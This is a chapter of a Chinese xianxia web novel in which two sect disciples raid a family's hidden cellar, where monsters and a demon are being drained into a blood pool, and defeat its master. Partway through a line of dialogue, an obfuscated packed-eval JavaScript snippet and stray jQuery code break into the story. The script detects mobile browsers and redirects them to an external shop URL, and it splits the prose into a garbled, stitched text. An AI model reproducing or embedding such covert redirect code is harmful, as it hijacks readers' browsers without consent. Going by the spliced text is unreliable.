2. 人吃妖
作品:《每天都想干掉伪天道》 浓云密布,月色不显。
赵府的零星灯火在夜色中摇曳,显得静谧无比,却又无端透出一股令人心悸的压抑。
两道身影如鬼魅般掠过墙头,足尖在瓦片上轻点,悄无声息地没入假山后的阴影中,动作默契得仿佛合作了无数次。
江见初背靠微凉的假山石壁,掌中托着那株来自阿吉的干瘪灵草,她指尖微动,一道清浅的灵力注入草茎,随即化作数道无形的涟漪,向赵府四周悄然散去。
等待探查结果的间隙,沈晏时终于逮到机会问出自己一路的疑惑:“师姐既然早已看出那小鬼是故意现身,引我们来此,为何还要陪他演这场戏?”
江见初探查的动作未有丝毫停滞,“他不说,我们就不来了么?”她微微一顿,瞥了沈晏时一眼,继续道:“沈师弟不是也早就认出,地上那件衣衫碎片上的纹饰,出自赵家了?”
沈晏时装模作样假咳两声,江见初也懒得听他回答,声音低了几分,“何况……他提到同伴时的眼神,骗不了人。”
阴影中,沈晏时的嘴角无声一勾,他这师姐,倒是很有意思。
阿吉的出现,无论是刻意还是凑巧,他们二人都做不到对一个乞儿的求助视若无睹,至于阿吉这一出戏是为了救人,还是复仇,抑或二者皆有,已不重要。
重要的是,赵家究竟在其中扮演了怎样的角色?
江见初的探查还未出结果,沈晏时却是感应到了一股熟悉的气息,难以置信地将目光移向东南方向。
江见初没发现沈晏时这细微的动作,拽住他的衣角扯了扯,“东南方向。”
察觉到他衣袖下紧绷的肌肉,江见初问道,“怎么了?”
“此处,有不同寻常的气息。”他的声音低沉平稳,却带着莫名的嫌恶。
江见初默了两息,不动声色地接话,“看来,赵家的水比我们想得要深,沈师弟似乎…对此地的气息格外敏感?”
沈晏时心里警铃大作,回想自己方才的举动,是他露出了不该有的情绪?还是她太过敏锐?更或者,是对他早有怀疑,白日种种也是对他的试探?
他没有回答,只轻笑了一声,转开话题:“你那龟息阵不是最多只能撑两个时辰吗?抓紧时间。”
江见初显然不信沈晏时的说辞,她安置小鹿和阿吉时这人可还言之凿凿说她多此一举,眼下竟编出这种借口。
话音未落,他已率先掠出,身影融入黑暗的前一瞬,江见初看到略微着急的脚步趔趄了一下。
他在急什么?难不成,赵家与他有关?
这人身上的秘密,怕是不比自己少,但眼下不是深究的好时机,当务之急是查清赵家掩藏的秘密。
二人一路避过守卫,潜入院落。表面看起来这座院落和其他的并无二致,但沈晏时能感受到院落下方弥漫着他最熟悉不过的气息——精纯的魔气。
他喉结微动,将内心翻腾的情绪死死压在舌尖之下,传音给江见初,“有地下室,找入口。”
江见初面色不变,指尖轻弹,几道灵气如游蛇般顺着墙面纹路蔓延探查。两息后,墙面无声滑开,露出后面幽深向下的密道来。
沈晏时挑了挑眉,率先走入密道中,更为浓稠的魔气萦绕在他的鼻息间。
密道内灯火通明,显然有人长期出入,幽长的石阶之下,地下室的全貌轰然撞入视野,饶是二人早已做好心理准备,也被眼前的景象震惊的说不出话来,一阵寒意从脚底直窜头顶。
地下室的正中央,是一座正在不停翻滚的血池,池中浮沉着难以分辨种族身份的断肢残骸。四周关押妖兽的铁笼层层叠叠,百十名妖兽被关押其间,大多已是肢体残缺,奄奄一息。
而沈晏时的目光,越过了下方惨烈的景象,死死钉在血池正上方——
一名魔族被锁链贯穿肩胛,悬于绞刑架上。道道黑红色的魔气正在被强行抽取,注入下方翻涌的血池,那魔族头颅低垂,生机正在飞速流逝。
轰——
沈晏时只觉得识海中仿佛有惊雷炸开,全身血液瞬间凝固。
家族传承时窥见的先祖记忆里的画面纷至沓来:无数道同族,就是被钉在类似的阵法上,随着抽离的魔气躯体逐渐萎缩直至干瘪。而那位曾与先祖把酒言欢的友人,就站在阵法之外,悲悯地看着这一切,还不忘死死拉住法力尽失但仍想往里冲的先祖,“都是无足轻重之辈,你何至于此…”
他几乎是凭借着一股烙印在骨髓里的本能,强行命令自己移开视线,不再去看那名濒死的同族,他必须冷静,必须像一个真正的人族修士那样,表现出厌恶,而非悲恸。
他垂在袖中的手死死攥紧,指甲深陷入掌心,带来一丝尖锐的刺痛,才勉强压制住身体的细微颤抖。
无能为力。
这种感觉,比万蚁噬心更令人绝望。
察觉江见初正盯着自己,沈晏时扭头对她露出一个嫌恶的表情,抬起手扇了扇,“真难闻。”
只有喉头处的腥甜和灵魂深处的震颤,才知道他为了维持表面的镇定付出了怎样的代价。
“什么人在那里!”一声历喝骤然响起,伴随着一道凌厉至极的刀气破空而来。
江见初拽住沈晏时向旁边一闪,刀气擦着衣角掠过,将后方的石壁斩出一道深坑。
江见初看向后方石壁上那道被刀气斩出的深坑,瞳孔微颤——
化神期!
即便气息虚浮狂暴,也是货真价实的化神期,南疆与妖族领地接壤,灵气稀薄,修炼资源稀缺,竟然在此隐藏了个化神期!
“来了就都留下吧!”不给二人喘息的机会,赵元辰率先发难,手中的金丝大环刀当头劈下。
“好强劲的刀法!”沈晏时还未起身,边往旁边狼狈一滚边惊呼。
随即接收到江见初的眼神,朔明剑骤然出鞘,玄铁打造的剑身精准地架住了赵元辰的下一击。
江见初借着这空档向后一闪,快速在铁笼前布起防御阵法,看着沈晏时边战边退,打斗的身影已逼近眼前,
“屏息!”她在识海中给沈晏时传音。
沈晏时立刻屏息,借着撤退的间隙快速在穴位上轻点几下,余光中江见初正用灵力击向血池边的几个陶罐。
随即一阵浓绿色的烟雾快速在狭小的地下室扩散,本用于给妖魔散功的断气散扑了赵元辰满面。
这种低阶药粉不会对化神期造成什么实质伤害,这突如其来的变故只让他动作迟缓了一瞬,他嘴角还没来得及上扬,便被一股巨力掀飞。
一瞬,足以。
江见初一回头,差点被发狂撞飞赵元辰的巨大狮子尾巴扫到,“你怎么把它放出来了?!”
沈晏时委屈道:“我打不过他,还不能找帮手吗?”
赵元辰擦了擦嘴角溢出的血迹,浑浊的眼里迸发出嗜血的光芒,“我倒是小看你们了。”
话音未落,刀刃破空的声音已然传来,沈晏时无处可避,拔剑相击。
“锵——!”
兵刃交接,沈晏时被这巨力震的虎口发麻,控制不住向后倒退数步。
转眼赵元辰追击已至。
“往左!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087934|195395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”识海中再次传来江见初的声音。
沈晏时应声而动,就在他闪身的瞬间,一只濒死的虎妖用尽最后的力气纵身一跃,利齿擦着赵元辰脖颈而过。
看着一只接一只濒死且狂暴的妖兽朝赵元辰扑去,沈晏时眼里闪过一丝意外,她竟不愚昧地想将这满地牢的妖兽尽数救出,而是迅速将这些已回天乏术的放出来阻拦赵元辰。
这些妖兽被折磨太久,早已失了神智,只剩下痛苦催生的最后疯狂,攻击毫无章法,却悍不畏死。
赵元辰被数头狂暴的妖兽不要命地纠缠,虽未受重创,却也被逼得手忙脚乱。
“滚开!”赵元辰厉声暴喝,四周妖兽被震翻在地,眼下他的怒气已积攒到极致,不再管身法技巧,只剩原始的攻击。
三人打作一片,赵元辰一击不成正欲转身再补一击,却猛得愣了一下——上方绞刑架上空空如也!
下一瞬,血腥气、魔气、混杂着死志的攻击接连而至,将沈晏时和江见初从战斗中解救出来。
沈晏时猛喘了几口气,“怎么样?这新帮手不错吧?”
江见初迅速运气调息,这人方才借着她与赵元辰缠斗的间隙,假借攻击赵元辰失手,实则招招冲着斩断绞刑架的铁链而去,“你也不怕剑招有失,劈中那魔族。”
沈晏时无暇应答,此时赵元辰大刀脱手,那魔族竟用蛮力制住了赵元辰。
好机会!
沈晏时将发力悉数灌注剑身,身随剑走,只冲赵元辰后心而去!
然而就在刺中他的前一瞬,赵元辰抱住那魔族猛地一转身。
“噗嗤——”
长剑将魔族与赵元辰一同贯穿。
沈晏时惊愤交加,手腕微不可察得一抖,但他没有停顿,猛将长剑抽出,眼底的惊骇被冰冷的恨意取代,再次朝着赵元辰死穴而去,却在剑身入体的下一瞬偏转方向,捣碎了他的丹田气海。
赵元辰轰然倒地,嘴里仍旧念念有词,只是声音破碎,听不真切。
江见初飞身上前,接住力竭倒地的沈晏时,而后双手快速结印,精纯的灵力从体内流出,修补着沈晏时的经脉。
疼痛从四肢百骸传来,沈晏时声音沙哑,
“留了活口...口供就交给江师姐了。”
“先疗伤。”
沈晏时感受到体内逐渐充盈的灵气,又看向仍源源不断涌入的灵气,“师姐的灵气,怎么取之不尽,用之不竭似的。”
江见初一顿,将手收了回来,“看来师弟无事了。”转身朝着赵元辰而去,像拎破布口袋似的将他拎到了血池旁。
沈晏时这才将目光移到魔族身上,那魔族早已气绝,只是面色安详,还带着一丝欣慰。
片刻后,江见初回到沈晏时身旁,平淡道:“他什么都没说,自断经脉了。”
“嗯。”沈晏时低应一声,指尖无意识地捏着染血的衣角反复摩梭,装作没听到她将人按入血池又提起的动静,“那些妖兽呢?”
“伤势尚可的传送走了。”江见初顿了顿,语气不忍,“本源尽毁,无力回天的...我给了它们一个痛快。”
沈晏时不着调的声音响起,不同的是这次他的笑意真切了几分,“杀了好啊,斩妖除魔,天经地义。”
他看着她欲言又止的模样,心下盘算,难不成是她注意到了他方才的异常?
“怎么了吗?”
江见初淡淡扫了他一眼,平静地看向空了的铁笼:“那批妖兽里,没有阿吉说的小花姐姐。”
沈晏时摩梭衣角的手指,倏然顿住。

